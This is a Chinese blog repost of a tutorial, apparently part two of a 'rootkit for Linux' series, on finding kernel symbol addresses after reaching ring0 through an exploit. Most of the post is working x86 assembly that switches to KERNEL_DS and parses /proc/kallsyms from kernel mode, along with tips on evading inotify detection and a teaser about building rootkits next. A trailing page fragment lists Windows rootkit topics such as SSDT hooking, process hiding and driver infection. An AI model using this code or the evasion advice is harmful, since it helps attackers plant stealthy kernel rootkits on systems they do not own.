[zz]rootkit for linux 2.寻找入口点

2008-12-06 16:22
世上的牛人真是多,今天又见识了一位
技术文章写得如此幽默 易懂,真是太牛了(相比之下我太菜了)
ring3下直接得到内核符号地址,这样rootkits就可以脱离LKM方式了,
可是我居然还没有学汇编 ,fuck这学校
这个冬天该好好把那几本kernel砖头捧读下,自学下x86汇编,我的水平太烂

原文
http://blog.csdn.net/varg_vikernes/archive/2008/11/08/3254821.aspx
作者:varg_vikernes

rootkit for linux 2.寻找入口点

很多人都学汇编。什么是eip他背得倍儿熟。但是你问他怎么把eip的值传给eax,他会毫不犹豫的说“mov eax, eip”。

很多人都学操作系统。什么是内存管理他背得倍儿熟。但是你打开linux-2.6.18的文件夹,他会指着那个mm文件夹说“那个是啥,快打开,里面有mm照片么?”

于是,在填鸭式的学习中,我们习惯于湮没在老师的无数唾沫里,湮没在书本的无数概念里,湮没在课堂的无数瞌睡里,湮没在宿舍的无数盘dota里。直 到有一天,你发现用asp.net,c#,java,vb都无法写出你想要的shellcode时,你恍然大悟,众里寻她千百度,那人却在灯火阑珊处。你 所追随的她,是被你曾经抛弃的操作系统和汇编。

 

好了扯淡完毕。先回答上一节的问题。其实这个漏洞只用来做提权实在是大材小用了。作者写一个漏洞利用程序只是个示范而已,不是让骇客们真的拿去提权。而是让我们自己扩充它,实现自己的功能,实现自己的rootkit。

 

我们来到ring0下面后,那是手无寸铁啊。平常你写内核模块的时候,有啥函数直接拿来用就是了,但是现在不行。你身处一个如此荒凉的地方,你能获 得的只有当前进程的task_struct。而这个也不靠谱,因为各个版本的linux,各种各样的内核设置,导致这个结构里特定成员的偏移都有可能不一 样。所以我们就丢开这个不管了。

怎样获得内核函数地址?这是个问题。如果你不获得函数地址,就啥也做不了。就好比搞自杀式袭击的,到了目的地,发现炸弹不见了,那也只能喝杯咖啡,然后再返回基地组织。

在内核模块中,通过函数名字获取函数地址用的是kallsyms_lookup_name。但现在你连kallsyms_lookup_name这个函数的地址都不知道。我们先来看看这个函数的实现:

kallsyms_lookup_name()

  1. /* Lookup the address for this symbol. Returns 0 if not found. */
  2. unsigned long kallsyms_lookup_name(const char *name)
  3. {
  4.     char namebuf[KSYM_NAME_LEN];
  5.      unsigned long i;
  6.      unsigned int off;
  7.     for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
  8.          off = kallsyms_expand_symbol(off, namebuf);
  9.         if (strcmp(namebuf, name) == 0)
  10.             return kallsyms_addresses[i];
  11.      }
  12.     return module_kallsyms_lookup_name(name);
  13. }

kallsyms_lookup_name() -> kallsyms_expand_symbol()

  1. /* expand a compressed symbol data into the resulting uncompressed string,
  2.     given the offset to where the symbol is in the compressed stream */
  3. static unsigned int kallsyms_expand_symbol(unsigned int off, char *result)
  4. {
  5.     int len, skipped_first = 0;
  6.     const u8 *tptr, *data;
  7.     /* get the compressed symbol length from the first symbol byte */
  8.      data = &kallsyms_names[off];
  9.      len = *data;
  10.      data++;
  11.     /* update the offset to return the offset for the next symbol on
  12.       * the compressed stream */
  13.      off += len + 1;
  14.     /* for every byte on the compressed symbol data, copy the table
  15.         entry for that byte */
  16.     while(len) {
  17.          tptr = &kallsyms_token_table[ kallsyms_token_index[*data] ];
  18.          data++;
  19.          len--;
  20.         while (*tptr) {
  21.             if(skipped_first) {
  22.                  *result = *tptr;
  23.                  result++;
  24.              } else
  25.                  skipped_first = 1;
  26.              tptr++;
  27.          }
  28.      }
  29.      *result = '/0';
  30.     /* return to offset to the next symbol */
  31.     return off;

看清楚没?

kallsyms_names 这个数组里的内容是 len0, idx0_0, idx0_1, idx0_2 ... len1, idx1_0, idx1_1 ....

得到一系列idx后,

idx0_0带入kallsyms_token_table[ kallsyms_token_index[] ]里,找到第一个字符串。

idx0_1带入,找到第二个字符串。

idx0_n带入,其中nlen0-1,找到最后一个字符串。

把所有的字符串连起来,就是第一个内核符号的名字。

这样,把所有的内核符号名字按顺序都获取一次,与传入的参数比较,如果相等,就返回对应的地址。

这是用的一种压缩算法,可以减少内核符号表占用的空间。

编译内核的时候,源码树中script/kallsyms.c这个程序生成了内核符号表的汇编源码,链接完后,内核的镜像里就有了符号表。你可以在kernel/kallsyms.c中找到定义

  1. /* These will be re-linked against their real values during the second link stage */
  2. extern const unsigned long kallsyms_addresses[] __attribute__((weak));
  3. extern const u8 kallsyms_names[] __attribute__((weak));

 

但是你找不到kallsyms_addresseskallsyms_names的定义在哪里。因为编译过程中,script/kallsyms.c生成的内核符号表的汇编源码放在/tmp目录下,用完就删了,你当然找不到。

上面分析的过程看不懂没关系,只要明白一个道理:写kallsyms.c的程序员是很欠抽的。

在当今1G硬盘不需要1块钱,1G内存只要几十块钱的时代,你为了节省那么点空间,写了这么欠抽的代码出来,内核符号表再大,有你硬盘里的松岛枫毛片大吗,有你硬盘里的陈冠希艳照多吗?你这样写,知不知道有什么后果?所以,我们不能通过“暴搜”的方法找到内核符号表。

 

其实,内核符号表在/proc/kallsyms中是可以看到的。所以,我们通过读/proc/kallsyms可以读出所有的内核符号和地址。你可能会说,那我们刚刚还看kallsyms_lookup_name干啥?不是浪费时间么?

不 是的,读/proc/kallsyms毕竟是有点低劣的方法,因为要读你也只能用系统调用去读,目前你还不能越过系统调用直接去读proc entry的。如果用系统调用去读/proc/kallsyms那就必定要经过那一套操作系统的检测流程。在vfs_read里有这样的代码:

    •          count = ret;
    •          ret = security_file_permission (file, MAY_READ);
    •         if (!ret) {
    •             if (file->f_op->read)
    •                  ret = file->f_op->read(file, buf, count, pos);
    •             else
    •                  ret = do_sync_read(file, buf, count, pos);
    •             if (ret > 0) {
    •                  fsnotify_access(file->f_path.dentry);
      •                  add_rchar(current, ret);

你看看,你要经过两大关。

第一关是security_file_permission。这个函数看名字都知道它是干嘛的了。是rootkit最讨厌的东西。不过所幸内核的默认设置是允许读/proc/kallsyms的。而这个文件,ring3下的普通用户也有读的权限。

第 二关是fsnotify_access。这函数来自于文件系统的inotify 机制,这机制基于inode,一般都是在inode被读,被写等等时候给关注这个事件的人一个信号“这个inode被读/写了”,简单的说就是这样。最麻 烦的是,这个机制是给ring3下的进程用的。所以,如果有一个进程注册了inotify,并关注/proc/kallsyms。那你就露馅了。

 

这方法有一定的危险性。

不过我在google上搜了很久也没搜出来有没啥更好的方法,如果有好的方法,迫切希望有人能告诉我。

 

另外还有一个“偏方”能读到搞到内核符号表。

比如很多人都没删除“System.map-xxx”这个文件,其实这个文件就是内核符号表,与/proc/kallsyms不同的是,它不包括模块的符号表,如果找到了这个文件,确定它是与现在内核一起编译生成的(这样才配套),用它也成。

但这个偏方要你在ring3下操作,还挺不靠谱的。

 

所以啊,我们有时候不要追求得太高了。你喜欢喝牛奶,但没有牛奶的时候你还得和水。没有水的时候你还得喝。。算了不说了。

 

如果你在ring3下用过系统调用,那现在在ring0下读/proc/kallsyms的过程也是类似的,只不过要把ds设置为kernel_ds,这样sys_read函数就不检查参数的地址了,直接读。

代码如下:

 

    • .text
    • .globl ksym_lookup
    •        
    • .globl filepath
    • filepath: .asciz "/proc/kallsyms"
    • FD = 0
    • BUF = 4
    • SAVEDS = 1020
    • FNLEN = 1024
    • FN = 1028
    • SSZ = 1032
    • ksym_lookup:
    •      pushl %ebp
    •      pushl %esi
    •      pushl %edi
    •      pushl %ecx
    •      pushl %ebx
    •      subl $SSZ, %esp
    •      movl %eax, FN(%esp)
    •      movl %edx, FNLEN(%esp)
    •      # set KERNEL_DS
    •      movl %esp, %eax
    •      andl $0xffffe000, %eax
    •      movl 0x18(%eax), %ebx
    •      movl %ebx, SAVEDS(%esp)
    •      movl $0xffffffff, 0x18(%eax)
    •      # open("/proc/kallsyms", O_RDONLY, 0);
    •      movl $5, %eax
    •      call 1f
    •      1: pop %ebx
    •      subl $(1b - filepath), %ebx
    •      xorl %ecx, %ecx
    •      xorl %edx, %edx
    •     int $0x80
    •      testl %eax, %eax
    •      js out
    •      movl %eax, FD(%esp)
    •      leal BUF(%esp), %ecx
    • getch_repeat:
    •      # read(fd, ecx, 1);
    •      movl $3, %eax
    •      movl FD(%esp), %ebx
    •      movl $1, %edx
    •     int $0x80
    •      cmpl $1, %eax
    •      jnz out_close
    •      cmpb $'/n', (%ecx)
    •      jz newline
    •      incl %ecx
    •      jmp getch_repeat
    •      # when a '/n' is read, start parse a new line
    • newline:
    •      # skip ' ' in output line 'c01xxxx T funcname'
    •      leal BUF(%esp), %esi
    •      movl $2, %ebp
    • 1:
    •      cmpb $' ', (%esi)
    •      jnz 2f
    •      decl %ebp
    •      jz 3f
    • 2:
    •      incl %esi
    •      cmpl %ecx, %esi
    •      jl 1b
    •      jmp newline_out
    • 3:
    •      # cmp str between function name in output line and 'kallsyms_lookup_name'
    •      incl %esi
    •      movl FN(%esp), %edi
    •      movl %ecx, %eax
    •      subl %esi, %eax
    •      movl FNLEN(%esp), %ecx
    •      cmpl %eax, %ecx
    •      jae 1f
    •      movl %eax, %ecx
    •      1:
    •      incl %ecx
    •      cld
    •      repz cmpsb
    •      testl %ecx, %ecx
    •      jnz newline_out
    •      # convert the address from str to ulong. saved in eax
    •      leal BUF(%esp), %esi
    •      xorl %eax, %eax
    • 1:
    •      movb (%esi), %bl
    •      cmpb $' ', %bl
    •      jz 4f
    •      cmpb $'a', %bl
    •      jl 2f
    •      subb $('a' - 10), %bl
    •      jmp 3f
    • 2:
    •      subb $'0', %bl
    • 3:
    •      andb $0x0F, %bl
    •      shl $4, %eax
    •      movb %al, %cl
    •      andb $0xF0, %cl
    •      orb %bl, %cl
    •      movb %cl, %al
    •      incl %esi
    •      jmp 1b
    • 4:
    •      # successfully convert address !!
    •      jmp out_close
    • newline_out:
    •      leal BUF(%esp), %ecx
    •      jmp getch_repeat
    • out_close:
    •      pushl %eax
    •      movl $6, %eax
    •      movl FD(%esp), %ebx
    •     int $0x80
    •      popl %eax
    • out:
    •      movl %esp, %ebx
    •      andl $0xffffe000, %ebx
    •      movl SAVEDS(%esp), %ecx
    •      movl %ecx, 0x18(%ebx)
    •      addl $SSZ, %esp
    •      popl %ebx
    •      popl %ecx
    •      popl %edi
    •      popl %esi
    •      popl %ebp
      •      ret

 

这段代码有个bug,在比较字符串的地方。/proc/kallsyms输出的格式,对于模块里的符号,会在最后面加一个“[模块名]”。

所以不能用这段代码找模块里的函数。大家要用自己改吧。我也懒得改了,反正我一开始不用找内核里的函数。

好了,那现在,你就可以找到大部分函数了,少部分未导出的找不到,但也够你用的了。

 

你说现在干啥呢?

 

有人说“我想搞破坏!”。

好,那你就搜索panic函数。然后panic("hey, your system is fucked!! hacked by xxx/n");

看系统被你panic了。靠,你太伟大了,我们搞了这么半天就是没让系统panic,你一下子就让系统panic了!那后面的文章你也不用看了,因为系统已经panic了,秘密行动失败了,你也知道有啥后果吧。

 

有人说“我想做rootkit”

好,那下一节的内容你可能会很感兴趣。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
看雪学院 Rootkit 专题 1. 内核hook 对于hook,从ring3有很多,ring3到ring0也有很多,根据api调用环节递进的顺序,在每一个环节都有hook的机会,可以有int 2e或者sysenter hook,ssdt hook,inline hook ,irp hook,object hook,idt hook等等。在这里,我们逐个介绍。 1)object hook 2)ssdt hook 3)inline-hook 4)idt hook 5)IRP hook 6)SYSENTER hook 7)IAT HOOK 8)EAT HOOK 2. 保护模式篇章第一部分: ring3进ring0之门 1)通过调用门访问内核 2)通过中断门访问内核 3)通过任务门访问内核 4)通过陷阱门访问内核 3。保护模式篇章第二部分:windows分页机制 1)windows分页机制 4。保护模式篇章第三部分:直接访问硬件 1)修改iopl,ring3直接访问硬件 2)追加tss默认I/O许可位图区域 3)更改tss I/O许可位图指向 5。detour 修改函数执行路径,可用于对函数的控制流程进行重定路径。 1)detour补丁 6. 隐身术 1)文件隐藏 2)进程隐藏 3)注册表键值隐藏 4)驱动隐藏 5)进程中dll模块隐藏 6)更绝的隐藏进程中的dll模块,绕过IceSword的检测 7)端口隐藏 7。ring0中调用ring3程序 1) apc方式 2) deviceiocontrol 方式 8。进程线程监控 1)监控进程创建 2)杀线程 3)保护进程和屏蔽文件执行 9。其他 1)获取ntoskrnl.exe模块地址的几种办法 2)驱动感染技术扫盲 3)shadow ssdt学习笔记 4)高手进阶windows内核定时器之一 5)高手进阶windows内核定时器之二 6)运行期修改可执行文件的路径和Command Line 7)查找隐藏驱动 8)装载驱动的几种办法 9)内核中注入dll的一种流氓方法 10)另一种读写进程内存空间的方法 11)完整驱动感染代码 12)Hook Shadow SSDT 13)ring0检测隐藏进程
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值